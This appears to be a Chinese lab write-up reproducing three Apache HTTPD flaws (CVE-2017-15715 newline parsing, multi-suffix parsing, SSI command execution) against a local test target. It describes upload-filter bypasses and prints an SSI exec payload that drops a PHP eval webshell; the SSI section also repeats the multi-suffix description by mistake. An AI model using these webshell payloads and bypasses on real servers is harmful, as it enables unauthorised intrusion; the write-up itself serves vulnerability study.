CVE-2017-15715、apache_parsing_vulnerability、Apache SSI 远程命令执行漏洞
Apache 换行解析漏洞(CVE-2017-15715)
0x01 漏洞详情
Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
0x02 漏洞影响范围
2.4.0~2.4.29
0x03 漏洞复现
用哥斯拉生成shell了,上传用bp抓包
发送到repeater,用hex查看
然后再0d 0a 前面插入一个0a截断。
成功上传,用哥斯拉连接。
Apache多后缀解析漏洞(apache_parsing_vulnerability)
0x01 漏洞详情
Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令,比如配置文件 AddHandler application/x-httpd-php .php。在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。
0x02 漏洞影响范围
2.4.0~2.4.29
0x03 漏洞复现
用docker搭建成功后访问靶场:
上传一句话木马,用bp抓包
在后缀加上.jpg绕过检测
用哥斯拉连接shell
成功打下shell,该靶场复现完成。
Apache SSI 远程命令执行漏洞
0x01 漏洞详情
Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令,比如配置文件 AddHandler application/x-httpd-php .php。在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。
0x02 漏洞影响范围
2.4.0~2.4.29
0x02 漏洞复现
shtml是标准通用标记语言下的一个应用,包含有嵌入式服务器方包含命令的文本,在被传送给浏览器之前,服务器会对SHTML文档进行完全地读取、分析以及修改。
SSI:服务器端嵌入或者叫服务器端包含,是Server Side Include的简写。SSI技术通过在文档中加入SSI指令,让服务器端在输出文档之前解析SSI指令,并把解析完的结果和文档一同输出给客户端。
SSI的指令格式为: <!-- #directive parameter=“value” -->
其中,directive是指令名,parameter指令参数,value指令参数值
可以看到,就是html注释,事实上,Web服务器开启了SSI,并且页面包含可以解析的指令,那么Web服务器就解析这个指令。没开启器SSI或者开启了SSI,但是不是可以解析的指令,那么都当做注释。
注意的是,“#”要和directive连在一起,中间不能含有空格
SSI包含的指令有
config:修改 SSI 的默认设置
echo:显示环境变量
exec:执行 CGI 脚本
flastmod :显示指定文件的最后修改日期
fsize:显示指定文件的大小
include:把其它文档插入到当前被解析的文档中
http://192.168.71.141:8080/upload.php
访问靶场,上传一句话木马
上传失败是因为做了防护手段,不允许上传php格式的文件
那没事,我们上传个shtml,在里面构造个payload就好了
这是使用的payload是:
<!--#exec cmd="echo '<?php eval($_POST[a]); ?>'>>1.php" -->
上传成功后直接用蚁剑打开即可